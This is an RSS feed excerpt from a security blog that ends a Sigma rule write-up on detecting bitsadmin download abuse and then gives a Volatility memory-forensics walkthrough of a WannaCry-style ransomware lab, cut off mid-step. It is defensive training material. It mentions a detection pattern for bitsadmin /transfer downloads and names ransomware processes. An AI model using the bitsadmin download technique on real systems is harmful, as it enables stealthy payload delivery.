ATT&amp;amp;CK&lt;/strong&gt; tactics like &lt;em&gt;Defense Evasion&lt;/em&gt;. From identifying the use of &lt;code&gt;bitsadmin.exe&lt;/code&gt;, to parsing command-line arguments like &lt;code&gt;/transfer&lt;/code&gt;, &lt;code&gt;/create&lt;/code&gt;, and &lt;code&gt;http&lt;/code&gt;, this challenge gave us a hands-on look at how &lt;em&gt;Sigma&lt;/em&gt; expresses detection logic in a readable, flexible format.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to sharpen my detection engineering workflow and get reacquainted with &lt;em&gt;Sigma&amp;rsquo;s YAML structure&lt;/em&gt;, since I don&amp;rsquo;t typically work with &lt;em&gt;Sigma rules&lt;/em&gt; directly. Instead, I usually convert them to my required SIEM or log format for the application at hand — which can be really helpful if you want to leverage &lt;em&gt;Sigma rules&lt;/em&gt; but use a different solution like &lt;strong&gt;Splunk&lt;/strong&gt;, &lt;strong&gt;Microsoft&lt;/strong&gt;, &lt;strong&gt;Elastic&lt;/strong&gt;, etc.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was also a great opportunity to slow down and take the extra time to research the answers, not just search for them. That deeper dive helped me build a true understanding of how the rule works and why each component matters. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt; and &lt;strong&gt;consider following me&lt;/strong&gt; for more content like this! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/learn-sigma&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/learn-sigma&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sigma GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/SigmaHQ/sigma&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/SigmaHQ/sigma&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sigma Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://sigmahq.io/docs/basics/rules.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Bitsadmin:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — BITS Jobs (T1197):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1197/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1197/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Defense Evasion (TA0005):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/tactics/TA0005/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  — Memory Analysis - Ransomware Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/</link>
            <pubDate>Mon, 03 Nov 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/0037ab8d5c5aae296c9051435dce93c8_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  — Memory Analysis - Ransomware Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-online--memory-analysisransomware--walkthrough&#34;&gt;Blue Team Labs Online | Memory Analysis — Ransomware | Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-memory-analysis-challenge-using-volatility-26&#34;&gt;A Memory Analysis Challenge Using Volatility 2.6.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;0037ab8d5c5aae296c9051435dce93c8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;526px&#34; data-flex-grow=&#34;219&#34; height=&#34;365&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/0037ab8d5c5aae296c9051435dce93c8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Memory Analysis — Ransomware&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;This challenge is a great entry point into the world of memory forensics, process analysis, and threat intelligence. But don’t worry — whether you’re just getting started in incident response or you’ve already built up some muscle memory with &lt;em&gt;Volatility&lt;/em&gt;, there’s plenty here to learn.&lt;/p&gt;&#xA;&lt;p&gt;Let’s check out the scenario to get started:&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The Account Executive called the SOC earlier and sounds very frustrated and angry. He stated he can’t access any files on his computer and keeps receiving a pop-up stating that his files have been encrypted. You disconnected the computer from the network and extracted the memory dump of his machine and started analyzing it with Volatility. Continue your investigation to uncover how the ransomware works and how to stop it!&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Yikes! This challenge puts us squarely in the middle of a ransomware investigation. We’ll be using &lt;strong&gt;Volatility&lt;/strong&gt; to analyze the memory dump, identify suspicious processes, extract forensic artifacts, and ultimately confirm the ransomware family involved. Along the way, we’ll pivot to tools like &lt;strong&gt;VirusTotal&lt;/strong&gt; and use command-line utilities to hash and verify dumped binaries.&lt;/p&gt;&#xA;&lt;p&gt;I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! When working with lab/challenge files from &lt;strong&gt;Blue Team Labs Online&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range),&lt;/em&gt; it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REMnux&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a specialized &lt;em&gt;Linux&lt;/em&gt; distribution for malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused, I’m going to skip step-by-step setup directions of &lt;em&gt;REMnux,&lt;/em&gt; but if you’d like to set up your own environment, please follow the guide provided by &lt;em&gt;REMnux&lt;/em&gt; directly. For reference, I used the virtual appliance method:&lt;/p&gt;&#xA;&lt;h2 id=&#34;d2311959d5f3&#34;&gt;[&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;d2311959d5f3&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;d2311959d5f3-1&#34;&gt;&amp;ndash; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;d2311959d5f3&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;d2311959d5f3-2&#34;&gt;&amp;ndash;&amp;rdquo;)[](&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;d2311959d5f3&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&amp;ndash;)&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-run-volpy--f-infectedvmemprofilewin7sp1x86-psscan-that-will-list-all-processes-what-is-the-name-of-the-suspicious-process&#34;&gt;Question 1: Run “vol.py -f infected.vmem — profile=Win7SP1x86 psscan” that will list all processes. What is the name of the suspicious process?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off our memory dump investigation. To analyze the contents of the memory dump file, &lt;code&gt;infected.vmem&lt;/code&gt;, we’ll use &lt;a class=&#34;link&#34; href=&#34;https://volatilityfoundation.org/the-volatility-framework/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Volatility&lt;/strong&gt;&lt;/a&gt;, a popular memory forensics tool. There are a couple of versions of &lt;em&gt;Volatility&lt;/em&gt;: &lt;em&gt;Volatility 2.6&lt;/em&gt; (the original, no longer in active development) and &lt;em&gt;Volatility 3&lt;/em&gt; (in active development).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;177925f675ef264805d601fee16d1404_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1136px&#34; data-flex-grow=&#34;473&#34; height=&#34;169&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/177925f675ef264805d601fee16d1404_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the Challenge File Folder&lt;/p&gt;&#xA;&lt;p&gt;So, which one should we choose? The question is asking us to use the OS profile switch for &lt;code&gt;Win7SP1x86&lt;/code&gt;, which tells us we need to use &lt;em&gt;Volatility 2&lt;/em&gt; (which I’ll just call &lt;em&gt;Volatility&lt;/em&gt; from here on out). In &lt;em&gt;Volatility 3&lt;/em&gt;, OS profiles aren’t needed — it uses a different plugin architecture and auto-detection mechanisms.&lt;/p&gt;&#xA;&lt;p&gt;One last helpful piece of background: we can access the &lt;em&gt;Volatility&lt;/em&gt; command reference on the project’s &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/command-reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;GitHub&lt;/a&gt;, which helps us understand what each command is doing:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/command-reference&#34;  title=&#34;https://github.com/volatilityfoundation/volatility/wiki/command-reference&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Command Reference&lt;/strong&gt;&#xA;_An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/command-reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve gotten all our ducks in a row, let’s get to work!&lt;/p&gt;&#xA;&lt;p&gt;Start by opening a terminal in the folder containing the &lt;code&gt;infected.vmem&lt;/code&gt; file and executing the command from the question:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f infected.vmem &amp;ndash;profile=Win7SP1x86 psscan&lt;/p&gt;&#xA;&lt;p&gt;This command opens &lt;em&gt;Volatility&lt;/em&gt; and parses the &lt;code&gt;infected.vmem&lt;/code&gt; image file using the &lt;code&gt;psscan&lt;/code&gt; plugin. According to the documentation:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To enumerate processes using pool tag scanning (&lt;code&gt;_POOL_HEADER&lt;/code&gt;), use the &lt;code&gt;psscan&lt;/code&gt; command. This can find processes that previously terminated (inactive) and processes that have been hidden or unlinked by a rootkit.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The &lt;code&gt;psscan&lt;/code&gt; output shows us all processes running on the victim’s system at the time of capture. It might look a little daunting at first, but there are a couple of odd-looking processes in the list:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;@WanaDecryptor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;or4qtckT.exe&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;27008d0c945d2ed9118e1fd76c40cd33_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/27008d0c945d2ed9118e1fd76c40cd33_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Identifying Suspicious Processes with psscan&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of this investigation, we’ll focus on &lt;code&gt;WanaDecryptor&lt;/code&gt; for a couple of reasons:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The name is similar to a famous ransomware campaign.&lt;/li&gt;&#xA;&lt;li&gt;There are two instances: one terminated and one still active.&lt;/li&gt;&#xA;&lt;li&gt;The second process is the parent, which we’ll need to answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b5cfad5c225690dd17c617d6616dd013_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1142px&#34; data-flex-grow=&#34;476&#34; height=&#34;168&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/b5cfad5c225690dd17c617d6616dd013_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-2-3&#34;&gt;Questions 2 &amp;amp; 3:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-parent-process-id-for-the-suspicious-process&#34;&gt;What is the parent process ID for the suspicious process?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-initial-malicious-executable-that-created-thisprocess&#34;&gt;What is the initial malicious executable that created this process?&#xA;&lt;/h4&gt;&lt;p&gt;I might’ve spoiled it in the last question, but to answer &lt;strong&gt;Question 2&lt;/strong&gt;, we need to provide the &lt;em&gt;parent process ID (PPID)&lt;/em&gt; of the suspicious process from the &lt;code&gt;psscan&lt;/code&gt; results. We can identify this by looking at the &lt;code&gt;PPID&lt;/code&gt; column for the suspicious process line.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5c0ad73902e42d27e425714770991932_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/5c0ad73902e42d27e425714770991932_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Identifying the Suspicious Process PPID&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;PPID&lt;/code&gt; matches the process ID (&lt;code&gt;PID&lt;/code&gt;) of the second suspicious process we identified: &lt;code&gt;or4qtckT.exe&lt;/code&gt;. This means it’s the parent process that created the suspicious process from &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;70aa638119d3540e0f2384283e7d8f48_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/70aa638119d3540e0f2384283e7d8f48_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Identifying the Suspicious Parent Executable&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we now know that &lt;code&gt;or4qtckT.exe&lt;/code&gt; is the initial malicious executable that spawned the process we flagged earlier which helps to establish the relationship in the attack chain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fddddf44c996ea65823982df859a2723_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1324px&#34; data-flex-grow=&#34;551&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/fddddf44c996ea65823982df859a2723_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2ae3011fff3445621c7255bb3fe2a141_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1361px&#34; data-flex-grow=&#34;567&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/2ae3011fff3445621c7255bb3fe2a141_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-if-you-drill-down-on-the-suspicious-pid-volpy--f-infectedvmemprofilewin7sp1x86-psscan--grep-pidhere-find-the-process-used-to-deletefiles&#34;&gt;Question 4: If you drill down on the suspicious PID (vol.py -f infected.vmem — profile=Win7SP1x86 psscan | grep (PIDhere)), find the process used to delete files&#xA;&lt;/h3&gt;&lt;p&gt;For our next task, we’re going to continue analyzing the output from the &lt;code&gt;psscan&lt;/code&gt; plugin. This time, we&amp;rsquo;re going to leverage &lt;code&gt;grep&lt;/code&gt; to display only the entries related to the PID of &lt;code&gt;or4qtckT.exe&lt;/code&gt;, which we uncovered in the last question. Here&amp;rsquo;s the command:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f infected.vmem &amp;ndash;profile=Win7SP1x86 psscan | grep 2732&lt;/p&gt;&#xA;&lt;p&gt;The output helps us quickly identify a second child executable: &lt;code&gt;taskdl.exe&lt;/code&gt;. It shares the same &lt;code&gt;PPID&lt;/code&gt; as the first one. While we don&amp;rsquo;t yet have further analysis of this binary, the fact that the malicious executable spawned both processes allows us to reasonably guess that this is the process used to delete files.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;05e9a4005acf33d651010cf3e6bde33e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/05e9a4005acf33d651010cf3e6bde33e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Identifying a Second Process with the Malicious Parent Process&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f769771039736fbaa3b37535e820d88b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1129px&#34; data-flex-grow=&#34;470&#34; height=&#34;170&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/f769771039736fbaa3b37535e820d88b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-find-the-path-where-the-malicious-file-was-firstexecuted&#34;&gt;Question 5: Find the path where the malicious file was first executed&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along to &lt;strong&gt;Question 5&lt;/strong&gt;, we’ll need to pivot away from &lt;code&gt;psscan&lt;/code&gt; to another module. When determining the right one to use, it can be really useful to pull up &lt;em&gt;Volatility&amp;rsquo;s help menu&lt;/em&gt; and review the options. You can access it with the command:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -h&lt;/p&gt;&#xA;&lt;p&gt;Based on the available options, it seems like the &lt;strong&gt;cmdline&lt;/strong&gt; module will fit the bill, as it’s used to &lt;em&gt;“display process command-line arguments.”&lt;/em&gt; Let’s give it a try with a quick adjustment to our command. We’ll combine the &lt;code&gt;cmdline&lt;/code&gt; function with &lt;code&gt;grep&lt;/code&gt; to focus on the malware &lt;code&gt;or4qtckT.exe&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f infected.vmem &amp;ndash;profile=Win7SP1x86 cmdline | grep 2732&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0edb6f047c25558b67a8fffeddea56e4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/0edb6f047c25558b67a8fffeddea56e4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Identifying the Malware File Location with cmdline&lt;/p&gt;&#xA;&lt;p&gt;Awesome! This gives us exactly what we needed — the file path of the executable, right on the “hacker’s” desktop.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a956eaefbca29b5a719d911426d362df_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1500px&#34; data-flex-grow=&#34;625&#34; height=&#34;128&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/a956eaefbca29b5a719d911426d362df_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-can-you-identify-what-ransomware-it-is-do-your-research&#34;&gt;Question 6: Can you identify what ransomware it is? (Do your research!)&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the malicious executable and its child processes, it’s time to pivot to threat intelligence to figure out what ransomware family we’re dealing with. The approach is straightforward: obtain the file hash for &lt;code&gt;or4qtckT.exe&lt;/code&gt;, check &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;, and use the intelligence to confirm the ransomware family.&lt;/p&gt;&#xA;&lt;p&gt;First, we’ll dump the executable using &lt;em&gt;Volatility’s&lt;/em&gt; &lt;code&gt;procdump&lt;/code&gt; command, specifying the PID we found in &lt;strong&gt;Question 2&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f infected.vmem &amp;ndash;profile=Win7SP1x86 procdump &amp;ndash;pid=2732 &amp;ndash;dump-dir OUTPUTDIRECTORY&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c76712175bfc7c068e4e950f32c08ffa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;434px&#34; data-flex-grow=&#34;180&#34; height=&#34;442&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/c76712175bfc7c068e4e950f32c08ffa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Dumping the malicious executable with prodcump &amp;amp; obtaining the file hash&lt;/p&gt;&#xA;&lt;p&gt;With the executable dumped, we can calculate the SHA-256 file hash using &lt;code&gt;sha256sum&lt;/code&gt; 